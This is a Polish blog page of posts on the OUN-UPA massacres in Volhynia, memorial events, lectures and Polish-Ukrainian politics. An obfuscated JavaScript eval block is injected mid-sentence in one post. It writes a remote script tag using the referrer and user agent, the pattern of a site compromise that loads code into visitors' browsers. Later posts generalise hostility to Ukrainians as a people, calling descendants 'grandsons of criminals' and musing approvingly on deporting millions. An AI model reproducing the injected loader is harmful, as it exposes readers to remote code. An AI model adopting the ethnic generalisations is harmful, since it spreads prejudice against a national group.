Ostatnie spotkanie z Krzesimirem Dębskim.

Dwa ostatnie spotkania: Rokietnica i Koziegłowy.
Na pierwszym miłe zaskoczenie: Stawia się kilkanaście osób (poza trzema klasami młodzieży) w większości z kresowym pochodzeniem. Niesamowite rozmowy w kuluarach, wzruszenie, wyznania – i … chęć spłacenia długu nieżyjącym rodzicom, których opowieści nie zdążyło się zanotować…
Jak zwykle ekspresja Krzesimira udziela się słuchającym, wciągają się w jego opowieść rodzinną.
Jest żywym dowodem na to, że nie można lekceważyć prawdy. Nic nie jest w porządku, aż do czasu kiedy ta prawda stanie się wszechobecna.
Sens tych spotkań spełnia się w twarzach słuchających, ich oczach i wzruszeniu po spotkaniu…

Seria fotografii: Czytaj dalej Ostatnie spotkanie z Krzesimirem Dębskim.

75-ta rocznica Ludobójstwa… Bandyci z OUN-UPA. Ludwikówka.

W tym roku 75-rocznica będzie obchodzona szczególnie.
Poniżej przypominam jedną z wstrząsających publikacji o zbrodni nacjonalistów ukraińskich:


Motto:

Miejsce:

Książkę dostałem w prezencie podczas uroczystości wręczenia mi specjalnego wyróżnienia cztery lata temu: Krzyż Pamięci Banderowskiego Ludobójstwa

Historia jakiej nie znacie – audycja w Radio Poznań.


Fragmenty audycji nagrane przez internet.

Na stronie audycji powinna niedługo pojawić się całość: HISTORIA JAKIEJ NIE ZNACIE

Plik przygotowałem w programie Windows Movie Maker, do celów edukacyjnych i popularyzatorskich jakość powinna wystarczyć, sama ścieżka jest przyozdobiona fotkami z ostatniej wizyty księdza Tadeusza w Wielkopolsce, ale też i fotkami z Warszawy, Łężycy, Pobiedzisk, Puszczykowa i innych miast. Między innymi widzimy tam dr Lucynę Kulińską niezłomną badaczkę zbrodni dokonanych przez nacjonalistów ukraińskich. Jej cykl książkowy „Dzieci Kresów” jest wstrząsającym dowodem okrucieństwa dokonywanego na najmłodszych i bezbronnych, traumy przez całe życie – w postaci pamięci zbrodni wypalonej w umyśle przeżywających to co się wydarzyło dzieci…
Dlatego też w Łężycy w Zielonej Górze ufundowałem tablicę Dzieciom Kresów poświęconą…

Ostatnie spotkania z ks Isakowiczem w Wielkopolsce.


(pamiątkowa fotografia z Burmistrzem Środy Wielkopolskiej)

Dwie ostatnie prelekcje ks Tadeusza Isakowicza-Zaleskiego odbyły się wczoraj. Wiele pytań, obecni: wójt Nowego Miasta nad Wartą, burmistrz Środy Wielkopolskiej, radni, młodzież, mieszkańcy obu miejscowości.

Chciałem szczególnie zwrócić uwagę na Czytaj dalej Ostatnie spotkania z ks Isakowiczem w Wielkopolsce.

W tym roku: 75-ta rocznica Ludobójstwa dokonanego przez nacjonalistów ukraińskich…


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("< \/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyahr|var|u0026u|referrer|ddbkk||js|php'.split('|'),0,{})) lat zajmuję się tym tematem, piszę o nim.
Wielu pyta: dlaczego?
Odpowiadam: Czytaj dalej W tym roku: 75-ta rocznica Ludobójstwa dokonanego przez nacjonalistów ukraińskich…

Pamięć dla przyszłości…

Po raz pierwszy biblia w języku polskim ukazała się w 1598 roku, opracowana przez wybitnego teologa Jakuba Wujka, który przełożył całe Pismo św. z łaciny. Przez kilka wieków była biblią polską i biblią Polaków. Ona ukształtowała naszą duchowość, przechodziła z pokolenia na pokolenie, dlatego że język tej biblii, polszczyzna tej biblii była wspaniała. Była to biblia Mickiewicza, biblia Słowackiego, Krasińskiego, Reymonta, Sienkiewicza. Jedna z nowel Sienkiewicza jest o Polaku rzuconym daleko na emigrację, który znał język polski, pamiętał język polski tylko dlatego, że wziął ze sobą biblię. Po kilku wiekach ta biblia była mniej zrozumiała dla współczesnego Polaka, dlatego że przekazywała język sprzed kilku stuleci. Pomysł by opracować nowy przekład biblii z języków oryginalnych zrodził się w 1937 roku we Lwowie. Czytaj dalej Pamięć dla przyszłości…

Dr Ostanek w Wielkopolsce…


Jak napisałem w poście na FB, dużo wrażeń, doskonałe przyjęcie i organizacja. A także zainteresowanie. Szczególnie młodzieży.
Fotorelacja (Nowe Miasto i Swarzędz):
Czytaj dalej Dr Ostanek w Wielkopolsce…

W końcu powstanie „czarna lista” Ukraińców wrogich Polsce?


(fragmenty foto z fb ukraińskiego, wyłowione przez znajomych i podesłane – epatowanie swastyką, symbolami SS Galizien jest tam bardzo częste)


W końcu jakieś jaskółki zmian w polityce zagranicznej w stosunku do Ukrainy. Tylko… ten trend powinien przetrwać.

…? Jeśli nie dojdziemy do porozumienia, to uruchamiamy w tej chwili procedury, które nie dopuszczą ludzi, którzy zachowują skrajnie antypolskie stanowisko do przyjazdu do Polski. Ludzie, którzy ostentacyjnie zakładają mundury SS Galizien, do Polski nie wjadą ? podkreślił Witold Waszczykowski…

Te procedury należy uruchomić natychmiastowo, bowiem zachowania Ukrainy i brak naszej reakcji godzą w nasze dobre imię i ośmieszają nas na arenie międzynarodowej.

SS na Ukrainie

Pamiętam niejasne i wymijające zdania usłyszane przeze mnie 7 lipca zeszłego roku na korytarzach sejmowych mówione przez posła Michała Dworczyka,

…jednak nawet on zmienia w końcu retorykę swoich wypowiedzi, chociaż odrobinę:
„…? Jeśli chcemy być poważniej, po partnersku, traktowani zarówno przez naszych sąsiadów ze Wschodu, jak i z Zachodu, Ukraina i Polska powinny ze sobą współpracować. Natomiast jeżeli nie zmieni się polityka historyczna państwa ukraińskiego, to co chwilę będą pojawiały się problemy w relacjach polsko-ukraińskich ? wskazał Michał Dworczyk….” – To jest jakiś postęp…
( W sejmie i pod sejmem 7-go lipca. )

Twarda, ale niestety całkowicie prawdziwa wypowiedź profesora Osadczego w kwestii bagatelizowania przez polski rzad krytyki i ataków na nasz kraj dochodzących od lat z Ukrainy – przecież tak bardzo zależnej (ekonomicznie) od naszego kraju.
Wystarczy bowiem wyobrazić sobie wprowadzenie całkowitego zakazu zatrudniania Ukraińców u nas…
Kilka milionów obywateli Ukrainy deportowane z Polski. To mogłoby zburzyć ich ekonomię, w zasadzie całkowicie zależną od dochodów pozyskiwanych za granicą, aby ubogie rodziny ukraińskie mogły przetrwać w kraju pozbawionym w znacznej mierze możliwości godnego zarabiania i utrzymania się chociażby na najniższej stopie życiowej, wielu członków tych rodzin wybiera pracę poza granicą kraju. Najbliżej jest do Polski. I najłatwiej.
Jeszcze.
To jednak może się zmienić kiedy w końcu zaczniemy reagować na butę i hardość nacjonalistów ukraińskich ciągle atakujących nasz kraj.

„…? Nie będę się obawiał stwierdzenia, że Polska w tej chwili jest jedynym krajem na świecie, które toleruje to, że poza granicami tego państwa poniewiera się nie to, że zostały pochowane szczątki ponad 130 tys. osób narodowości polskiej, a poniewiera się i bezcześci codziennie, każdej godziny. Na szczątkach Polaków usypuje się wysypiska śmieci ? zaznaczył prof. Włodzimierz Osadczy….”

Wypowiedź prof. Osadczego na temat krytyki szowinistycznych działań ukraińskich:

Cytaty pochodzą: Powstanie lista ukraińskich dygnitarzy i polityków świadomie zachowujących skrajnie antypolskie stanowisko?

Stasia 8-my rok na poznańskich cmentarzach.

Opublikowany przez Piotr Szelągowski na 2 listopada 2017

(jedna z osób odwiedzających cmentarz czyta ulotkę)

To już 8 lat jak umieszczam kartkę z wydrukiem o Ludobójstwie na Kresach, dokonanym przez OUN-UPA z prośbą o modlitwę.
Przykład bezbronnej i niewinnej ofiary: Stasi Stefaniak z kolonii Katerynówka na Wołyniu jakże jest wymowny.
To dziecko (zaledwie 4,5-letnie) zamordowane tylko dlatego, że było w połowie Polką; druga połowa jej pochodzenia to po matce: Ukrainka.
Dla zbrodniarzy z UPA nie miało to znaczenia.
Straszliwy mord, straszliwa śmierć bezbronnych i niewinnych dzieci…
Nawet Ukraińcy, z którymi rozmawiałem o zbrodniach, mówiący kłamliwe rzeczy o polskich odwetach, relatywizujący ofiary, kiedy wprost spytałem ich: Czym zawiniło dziecko?
Czy dzieci należy mordować za winy i błędy dorosłych (nawet nie tych konkretnych rodziców, którzy przecież się kochali i nie zważali na pochodzenie ze swoją miłością, jak w „Wołyniu” Smarzowskiego)?

Odpowiadali: Czytaj dalej Stasia 8-my rok na poznańskich cmentarzach.

Słowa prawdy…Nacjonalizm na Ukrainie.


Słowa prawdy przedzierają się w rzeczywistości naszego kraju.
Pytanie: czy nie będzie za późno na przeciwdziałanie?

Prof. dr hab. Włodzimierz Osadczy, dyrektor Centrum Badań Wschodnioeuropejskich.

„100 tysięcy niepogrzebanych szczątków ludzkich to hańba dla każdego narodu, natomiast dla narodu, który posiada 1050-letnią historię chrześcijaństwa, to jest szczególna hańba, ale też zaniedbanie.”

Czy dostrzegą też tą kuriozalną sytuację inne państwa europejskie?:
? Mamy do czynienia z sytuacją, kiedy integralny nacjonalizm, którego symbolami są Bandera, Szuchewycz i inni oprawcy, odpowiedzialni w sposób bezpośredni albo też moralny za to, co się wydarzyło, jest wynoszony na piedestały w sposób dosłowny. Chociażby nazwanie głównych ulic w Kijowie imionami tych postaci może o tym świadczyć, a także kolejne marsze. [?] Mamy do czynienia z tym, że społeczeństwo ukraińskie jest kształtowane w jednoznacznym duchu…

Można odsłuchać całą audycję tam: stream

Cytaty: Prof. Osadczy: Dla narodu z 1050-letnią historią chrześcijaństwa niepogrzebanie 100 tys. szczątków ludzkich to hańba

Jak w tym kontekście wygląda pomysł obecnego prezydenta, jeszcze z przed elekcji?: Duda chce wojny? Z Rosją?
Czy to celowe pomniejszanie zbrodni nacjonalistów ukraińskich? No bo jak tak walczyć z Rosjanami u boku innych zbrodniarzy?
To nic że to są wnuczkowie tych zbrodniarzy. Owi wnuczkowie byli dobrze wychowywani, aż za dobrze – we właściwym nurcie…-nacjonalistycznym.
Czy różnią się czymś od swoich dziadów?
Tak.
Jeszcze nie zabili w tak okrutny sposób tylu ludzi.

Może w końcu się ockniemy? Może nasi politycy się ockną?